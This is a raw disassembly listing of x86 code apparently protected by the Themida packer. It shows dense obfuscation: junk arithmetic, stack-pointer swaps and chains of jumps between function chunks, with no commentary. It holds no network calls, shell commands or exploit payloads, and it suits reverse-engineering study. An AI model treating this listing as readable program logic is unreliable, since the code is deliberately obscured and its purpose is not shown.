		jmp	loc_595F8A
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5930D8
		sub	esi, 3200009Ch
		add	esi, eax
		push	eax
		mov	eax, 72346D2Fh
		jmp	loc_591464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58BAA5:				; CODE XREF: sub_591C99+5519j
		inc	ecx
		inc	ecx
		shr	ecx, 2
		xor	ecx, 2DD920B4h
		add	ecx, 0FD9D4EAh
		sub	edi, ecx
		pop	ecx
		inc	edi
		xor	edi, 63A80755h
		add	eax, 39393818h
		sub	eax, edi
		sub	eax, 39393818h
		pop	edi
		mov	edx, eax
		pop	eax
		shr	edx, 7
		not	edx
		neg	edx
		shl	edx, 4
		shr	edx, 5
		add	edx, 727C7049h
		sub	eax, edx
		jmp	loc_58ABDD
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58BAEA:				; CODE XREF: Themida_:0059283Bj
		not	edi
		and	edi, 1E40B7Fh
		jmp	loc_59071F
; ---------------------------------------------------------------------------


loc_58BAF7:				; CODE XREF: Themida_:0058B640j
		shr	edx, 5
		jnz	loc_596455
		jmp	loc_5973B4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, 36A91DF1h
		sub	eax, ebp
		mov	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58BB0F:				; CODE XREF: sub_596082-22A1j
		push	esi
		sub	[esp+14h+var_14], 77B91BD5h
		jmp	loc_593D27
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58BB1C:				; CODE XREF: Themida_:00590598j
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_58B701
; ---------------------------------------------------------------------------


loc_58BB29:				; CODE XREF: Themida_:005906E0j
		neg	dh
		jl	loc_58E26A
		sub	dh, 0C8h
		not	dh
		push	6A3h
		mov	[esp], eax
		mov	al, 9Fh
		not	al
		inc	al
		sub	al, 0F5h
		xor	dh, al
		pop	eax
		jmp	loc_58F40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_58BB4E:				; CODE XREF: sub_58D6A0+43D6j
		pop	ecx
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 5E813A8Eh
		jmp	loc_590BFC
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58BB64:				; CODE XREF: sub_596082-6A14j
		ja	loc_596F7F
		add	eax, 6F5695Fh
		jmp	loc_58AE2C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58BB74:				; CODE XREF: sub_596498-3334j
		add	eax, ecx
		sub	eax, 62FA266Bh
		mov	ecx, [esp+8+var_8]
		push	5377h
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_58FB38
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_58BB99:				; CODE XREF: Themida_:0059769Cj
		push	45AF4ED7h
		pop	ebp
		xor	ebp, 520D2365h
		mov	eax, ebp
		jmp	loc_58B752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58BBAC:				; CODE XREF: sub_593009+2724j
		mov	[esp-1Ch+arg_18], edx
		mov	edx, ebx
		jmp	loc_593D2E
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592646


loc_58BBB6:				; CODE XREF: sub_592646-2881j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		sub	dh, 59h
		jmp	loc_595579
; END OF FUNCTION CHUNK	FOR sub_592646
; ---------------------------------------------------------------------------


loc_58BBC2:				; CODE XREF: Themida_:0058E435j
		add	eax, ebx
		add	eax, 2DE21FE8h
		sub	eax, 5ED923A5h
		add	eax, 15114B81h
		jmp	loc_58E3B8
; ---------------------------------------------------------------------------


loc_58BBD8:				; CODE XREF: Themida_:0058C3BCj
		push	19A1h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_591A94
; ---------------------------------------------------------------------------


loc_58BBFC:				; CODE XREF: Themida_:0058FC17j
		pop	edi
		jmp	loc_58B69A
; ---------------------------------------------------------------------------


loc_58BC02:				; CODE XREF: Themida_:005921F1j
		mov	ebp, 1AA65731h
		push	ebx
		mov	ebx, 9D1D869h
		jmp	loc_596A12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58BC12:				; CODE XREF: sub_58F160-15BDj
		dec	esi
		jns	loc_5940FD
		jmp	loc_5958B5
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
		jnz	loc_594CAB
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58BC24:				; CODE XREF: sub_596082-465Aj
		not	eax
		not	eax
		and	eax, 14C869DDh
		push	ecx
		jmp	loc_58DE4B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58BC33:				; CODE XREF: Themida_:00592D3Dj
		add	esp, 4
		shr	edi, 7
		push	ecx
		mov	ecx, 0
		jmp	loc_58AEEE
; ---------------------------------------------------------------------------


loc_58BC44:				; CODE XREF: Themida_:0058FF2Dj
		mov	ecx, 6D8C21FAh
		sub	eax, ecx
		pop	ecx
		push	ecx
		push	ebx
		push	71410270h
		pop	ebx
		sub	ebx, 0FA51DA92h
		mov	ecx, ebx
		pop	ebx
		add	ecx, 8B8DE87Bh
		jmp	loc_58D0F1
; ---------------------------------------------------------------------------


loc_58BC68:				; CODE XREF: Themida_:0058EF09j
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58BC87:				; CODE XREF: Themida_:00590844j
		pop	ebp
		sub	ebp, 193C4FA7h
		pop	eax
		push	edi
		push	edx
		jmp	loc_58DFA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58BC96:				; CODE XREF: sub_58F160-18Dj
		push	eax
		mov	eax, 664A5Fh
		push	esi
		push	3A94B432h
		jmp	loc_58E253
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58BCA7:				; CODE XREF: sub_58E66C-37F5j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_593ED2
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_58BCB9:				; CODE XREF: sub_58D6A0+8CFFj
		jmp	loc_5937E6
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------


loc_58BCBE:				; CODE XREF: Themida_:0058D901j
		pop	eax
		sub	bh, 1
		dec	bh
		not	bh
		inc	bh
		jmp	loc_593E4B
; ---------------------------------------------------------------------------


loc_58BCCD:				; CODE XREF: Themida_:0058DFFFj
		mov	ecx, 510C2553h
		or	ecx, 2B05757Eh
		jmp	loc_594940
; ---------------------------------------------------------------------------


loc_58BCDD:				; CODE XREF: Themida_:0058DC8Bj
		push	ecx
		jmp	loc_58A818
; ---------------------------------------------------------------------------


loc_58BCE3:				; CODE XREF: Themida_:0058F603j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	[esp], eax
		jmp	loc_59179E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_58BCFC:				; CODE XREF: Themida_:0058E60Ej
					; sub_596B50-1A4j
		shl	edx, 6
		jmp	sub_58E91C
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_58BD04:				; CODE XREF: Themida_:005927D3j
		pop	si
		jmp	loc_592EC1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	748Dh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		push	eax
		mov	eax, 73B01831h
		jmp	loc_592187
; ---------------------------------------------------------------------------


loc_58BD25:				; CODE XREF: Themida_:0058DA0Bj
		jmp	loc_595535
; ---------------------------------------------------------------------------


loc_58BD2A:				; CODE XREF: Themida_:00595FBAj
		add	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_58EBF6
; ---------------------------------------------------------------------------


loc_58BD40:				; CODE XREF: Themida_:0058ED10j
		shr	ecx, 8
		js	loc_59281B
		add	ecx, 35D8F200h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		shr	ebx, 3
		shr	ebx, 6
		jmp	loc_58E0A3
; ---------------------------------------------------------------------------


loc_58BD5F:				; CODE XREF: Themida_:00595230j
		add	edx, 77546A89h
		jmp	loc_58C99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58BD6A:				; CODE XREF: sub_593009-1ED7j
		or	edx, 44DD42A4h
		xor	edx, 2DE27E79h
		jnb	loc_59267D
		jmp	loc_58FB38
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	loc_58EA7B
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		push	ebx


loc_58BD8B:				; CODE XREF: Themida_:0058F223j
		jbe	loc_5971B7
		sub	ecx, 8F0AA822h
		mov	esi, ecx
		jmp	loc_592CB9
; ---------------------------------------------------------------------------


loc_58BD9E:				; CODE XREF: Themida_:0058A7D2j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_58B44B
; ---------------------------------------------------------------------------


loc_58BDAD:				; CODE XREF: Themida_:005971BFj
		mov	ecx, [esp]
		jmp	loc_58E4A7
; ---------------------------------------------------------------------------


loc_58BDB5:				; CODE XREF: Themida_:0058B794j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 7005055Ch
		sub	ebx, 658A253Ch
		jle	loc_58CBED
		neg	ebx
		sub	ebx, 0CF2703F4h
		push	0
		sub	[esp], ebx
		jmp	loc_5972D1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebp
		push	7CE6h
		mov	[esp], edi
		jmp	loc_58E9E9
; ---------------------------------------------------------------------------


loc_58BDFB:				; CODE XREF: Themida_:00594B83j
		mov	[esp], eax
		push	5205h
		mov	[esp], edx
		jmp	loc_590C56
; ---------------------------------------------------------------------------


loc_58BE0B:				; CODE XREF: Themida_:005917D6j
					; Themida_:0059325Ej
		push	ebx
		push	3FD9h
		mov	[esp], eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		jmp	loc_5902DB
; ---------------------------------------------------------------------------


loc_58BE1E:				; CODE XREF: Themida_:0058FA57j
		add	esi, 0B6077Ch
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, esi
		pop	esi
		push	ecx
		jmp	loc_59601C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_58BE33:				; CODE XREF: sub_58D250+9B7Dj
		xchg	ebx, [esp+8+var_8]
		jmp	loc_5938D6
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58BE3B:				; CODE XREF: sub_591C99-27Bj
		add	esp, 4
		xor	al, dh
		mov	dx, [esp+0]
		push	33F8h
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	sub_58D112
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58BE62:				; CODE XREF: Themida_:00594210j
		add	ecx, 47280CC4h
		jmp	loc_58E183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58BE6D:				; CODE XREF: sub_596082+14A1j
		sub	ebx, 53AD05FCh
		jmp	loc_593017
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58BE78:				; CODE XREF: Themida_:loc_58F582j
		add	ecx, 43E12792h
		jmp	loc_595E6F
; ---------------------------------------------------------------------------


loc_58BE83:				; CODE XREF: Themida_:005947E9j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_58C263
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58BE98:				; CODE XREF: sub_593009-3DFEj
		mov	[esp-1Ch+arg_18], ecx
		jmp	loc_59768F
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_59210C
; ---------------------------------------------------------------------------


loc_58BEC5:				; CODE XREF: Themida_:0058B200j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_5975EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58BEDA:				; CODE XREF: sub_58E66C-106Aj
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_595423
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5967D4


loc_58BEE3:				; CODE XREF: sub_5967D4-63DCj
		mov	esp, [esp+8+var_8]
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_5967D4
; ---------------------------------------------------------------------------
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58BEED:				; CODE XREF: Themida_:0058C2C7j
		add	esp, 4
		shr	esi, 5
		js	loc_58E209
		add	esi, 4D09BCA2h
		mov	ebp, esi
		pop	esi
		add	ebp, 10535686h
		add	ebx, ebp
		pop	ebp
		pop	ecx
		jmp	loc_58DB2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58BF14:				; CODE XREF: sub_58E66C+2272j
		sub	eax, 60B16971h
		jmp	loc_58D8AE
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58BF1E:				; CODE XREF: Themida_:005959B9j
		mov	esp, [esp]
		xchg	ebx, [esp]
		pop	esp
		add	[esp], al
		pushf
		jmp	loc_58C03B
; ---------------------------------------------------------------------------


loc_58BF2E:				; CODE XREF: Themida_:0058D11Dj
		mov	[esp], edi
		mov	edi, 40CB3829h
		sub	edi, 5B8E26BAh
		add	edi, 7AA33D56h
		sub	edx, 67F41591h
		sub	edx, edi
		add	edx, 67F41591h
		pop	edi
		add	edx, 0FFFFFFFFh
		jmp	loc_58D7DF
; ---------------------------------------------------------------------------


loc_58BF5C:				; CODE XREF: Themida_:0058E481j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 4F2C10FAh
		add	ebx, ebp
		jmp	loc_59734B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58BF72:				; CODE XREF: sub_596082-894Cj
		push	edx
		mov	edx, 3F5E783Eh
		add	ecx, edx
		jmp	loc_5944D3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58BF7F:				; CODE XREF: Themida_:0058A7FAj
		pop	esi
		mov	esi, 4EBC5EB9h
		xor	esi, eax
		jmp	loc_590F07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58BF8C:				; CODE XREF: sub_58E66C+7589j
		push	4D5Dh
		mov	[esp+0Ch+var_C], edi
		mov	edi, 65D74DC2h
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 2F345834h
		dec	ebp
		inc	ebp
		push	edx
		mov	edx, 528C7654h
		jmp	loc_59659E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58BFB4:				; CODE XREF: sub_596082-2DD9j
		push	ecx
		push	small 3DB8h
		pop	cx
		add	cx, 6DE6h
		jnz	loc_58ADDA
		jmp	loc_595944
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		sub	eax, edx
		pop	edx
		push	ebx
		mov	ebx, edi
		pop	edi


loc_58BFD2:				; CODE XREF: Themida_:00595CA5j
		mov	esp, [esp]
		push	7EB7h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	5273h
		mov	[esp], eax
		jmp	loc_593760
; ---------------------------------------------------------------------------


loc_58BFFE:				; CODE XREF: Themida_:005964C9j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_5920BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58C00A:				; CODE XREF: sub_58B09E+4C8Bj
		inc	ebx
		jmp	loc_58D906
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------


loc_58C010:				; CODE XREF: Themida_:0058F807j
		mov	[esp], edx
		mov	edx, 327F6F13h
		jmp	loc_5969C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58C01D:				; CODE XREF: sub_591C99+3j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], ecx
		mov	cl, 5
		push	ecx
		mov	ch, 4Dh
		dec	ch
		not	ch
		jmp	loc_591B6A
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58C03B:				; CODE XREF: Themida_:0058BF29j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	edi
		jmp	loc_58F05C
; ---------------------------------------------------------------------------


loc_58C058:				; CODE XREF: Themida_:0058B239j
		or	esi, 3EF51371h
		xor	esi, 3EFD9F7Bh
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58C5AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C078:				; CODE XREF: sub_58E66C+3FD5j
		and	ebp, ecx
		pop	ecx
		xor	ebp, 1446196h
		add	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_596733
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_58C091:				; CODE XREF: sub_58A50F+CFF6j
		dec	edi
		xor	edi, 1E1A3E2Ch
		sub	edx, edi
		pop	edi
		push	edx
		xor	[esp+4+var_4], 3F2E7B98h
		pop	edi
		xor	edi, 3F2E7B98h
		jmp	loc_59069C
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C0AF:				; CODE XREF: sub_596082-8F59j
		mov	ebx, [esp+20h+var_20]
		push	esi
		mov	esi, esp
		jmp	loc_58A925
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58C0BA:				; CODE XREF: sub_5F45E7-64775j
		jo	sub_596B50
		push	ebx
		mov	ebx, 0F944860Dh
		add	esi, ebx
		jmp	loc_58C775
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58C0CD:				; CODE XREF: Themida_:0058EA54j
		mov	ah, bh
		pop	bx
		neg	ah
		sub	ah, 0C0h
		xor	dl, ah
		mov	eax, [esp]
		jmp	loc_591F9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C0E0:				; CODE XREF: sub_596082-51EDj
		pop	ecx
		jmp	loc_595114
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C0E6:				; CODE XREF: Themida_:00594C80j
		sub	al, 46h
		sub	al, 5Ch
		jmp	loc_59288A
; ---------------------------------------------------------------------------


loc_58C0EF:				; CODE XREF: Themida_:0058C873j
		dec	edx
		xchg	edx, ebp
		jmp	loc_58B917
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C0F7:				; CODE XREF: Themida_:0058CCE0j
					; sub_596082-2DF9j
		push	small word ptr [eax]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C0FF:				; CODE XREF: Themida_:0058CA32j
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58C108:				; CODE XREF: Themida_:00594BFBj
		push	7F74h
		mov	[esp], edi
		jmp	loc_592E03
; ---------------------------------------------------------------------------


loc_58C115:				; CODE XREF: Themida_:0059234Fj
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		shl	ebx, 1
		xor	ebx, 5E782C39h
		xor	ebx, 869BF9CBh
		add	eax, ebx
		pop	ebx
		jmp	loc_58DE8D
; ---------------------------------------------------------------------------


loc_58C131:				; CODE XREF: Themida_:00590923j
		pop	ecx
		jmp	loc_58B89C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58C137:				; CODE XREF: sub_593009+D27j
		pop	edx
		pop	ebx
		mov	ecx, 284C2B93h
		xor	ecx, ebp
		jmp	loc_58D3A9
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_58C145:				; CODE XREF: sub_59425A-79B3j
		add	esp, 4
		jmp	loc_595317
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C150:				; CODE XREF: sub_596082-6774j
		add	esi, ebx
		push	edi
		jmp	loc_58AB3B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C158:				; CODE XREF: Themida_:0058FD95j
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_594BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C170:				; CODE XREF: sub_58E66C+778Dj
		mov	esp, [esp+8+var_8]
		or	eax, eax
		jz	loc_596A3E
		push	dword ptr [edi+1Ch]
		jmp	loc_590545
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58C183:				; CODE XREF: sub_58F160+1E61j
		pop	edi
		xor	edi, 7899789Ch
		neg	edi
		sub	edi, 1E394D84h
		jmp	loc_58AD66
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C197:				; CODE XREF: sub_58E66C+5E4Dj
		add	esp, 4
		jmp	loc_591AA0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C19F:				; CODE XREF: Themida_:0059274Cj
		sub	eax, 6AA11F6Ah
		sub	eax, ebx
		push	esi
		jmp	loc_592771
; ---------------------------------------------------------------------------


loc_58C1AC:				; CODE XREF: Themida_:00595AADj
		add	dword ptr [esp+4], 66636B68h
		pop	eax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58C1BA:				; CODE XREF: Themida_:00597410j
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_58AC1F
; ---------------------------------------------------------------------------


loc_58C1CF:				; CODE XREF: Themida_:0058B88Aj
		push	esp
		jmp	loc_59508A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C1D5:				; CODE XREF: sub_58E66C:loc_596001j
		jmp	loc_592B87
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C1DA:				; CODE XREF: Themida_:00595D9Fj
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C1F9:				; CODE XREF: sub_596082-22C5j
		mov	esp, [esp+26h+var_26]
		mov	[esp+26h+var_26], ecx
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58C204:				; CODE XREF: Themida_:0058B427j
		add	edx, ecx
		pop	ecx
		jmp	loc_5905E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58C20C:				; CODE XREF: sub_596082+55Fj
		sub	al, 0AAh
		jmp	loc_58EE92
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_58C213:				; CODE XREF: sub_58D112+1524j
		push	dword ptr [edi+eax*4]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------


loc_58C21B:				; CODE XREF: Themida_:0058E476j
		mov	esi, [esp]
		jmp	loc_596EA2
; ---------------------------------------------------------------------------


loc_58C223:				; CODE XREF: Themida_:0058E9E4j
		add	al, 4Bh
		pop	ecx
		add	al, cl
		add	al, 0DAh
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		push	bx
		jmp	loc_590AEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58C239:				; CODE XREF: sub_58E66C+6808j
		pop	esp
		and	ebx, eax
		pop	eax
		add	ebx, 0AF87DEE6h
		jmp	loc_593C49
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58C248:				; CODE XREF: Themida_:0059352Bj
		movzx	cx, ah
		push	51BDh
		mov	[esp], ecx
		mov	ecx, esp
		push	1D3Dh
		mov	[esp], ebp
		jmp	loc_595627
; ---------------------------------------------------------------------------


loc_58C263:				; CODE XREF: Themida_:0058BE93j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_58B686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58C270:				; CODE XREF: sub_596BF6-269Dj
		shr	edi, 4
		push	ebx
		mov	ebx, 52837F0h
		add	edi, 42820C54h
		sub	edi, 7C0261DFh
		sub	edi, ebx
		jmp	loc_58FC61
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_58C28C:				; CODE XREF: Themida_:00595FE9j
		pop	esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_58F913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB60


loc_58C29E:				; CODE XREF: sub_58DB60+1876j
		shr	ebp, 2
		push	edi
		mov	edi, 0CEAB99CAh
		add	ebp, edi
		jmp	loc_58F380
; END OF FUNCTION CHUNK	FOR sub_58DB60
; ---------------------------------------------------------------------------


loc_58C2AE:				; CODE XREF: Themida_:0059194Ej
		pop	esi
		push	ecx
		mov	ecx, 2
		sub	ebx, 5E005CC7h
		add	ebx, ecx
		push	ebp
		push	esi
		push	146933F8h
		mov	esi, [esp]
		jmp	loc_58BEED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_58C2CC:				; CODE XREF: sub_58A50F+85A1j
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		xchg	edx, edi
		xor	edi, 2FA42772h
		shr	edi, 7
		jmp	loc_59168B
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------


loc_58C2E0:				; CODE XREF: Themida_:00593478j
		and	eax, 74756ADEh
		jmp	loc_5950D8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_594766
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58C2FE:				; CODE XREF: sub_591C99+FB7j
		push	0C41h
		mov	[esp-0Eh+arg_6], esi
		mov	esi, 77EE7C22h
		xchg	edi, esi
		dec	edi
		xchg	edi, esi
		add	esi, 65071F9Ah
		push	ebx
		mov	ebx, 172009Eh
		inc	ebx
		shl	ebx, 2
		push	6E5h
		mov	[esp+0], edi
		mov	edi, 143D4F17h
		xor	edi, 26CB20CDh
		jmp	loc_596C77
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_58C338:				; CODE XREF: sub_596BC4-269Bj
		push	edx
		jmp	loc_5908C0
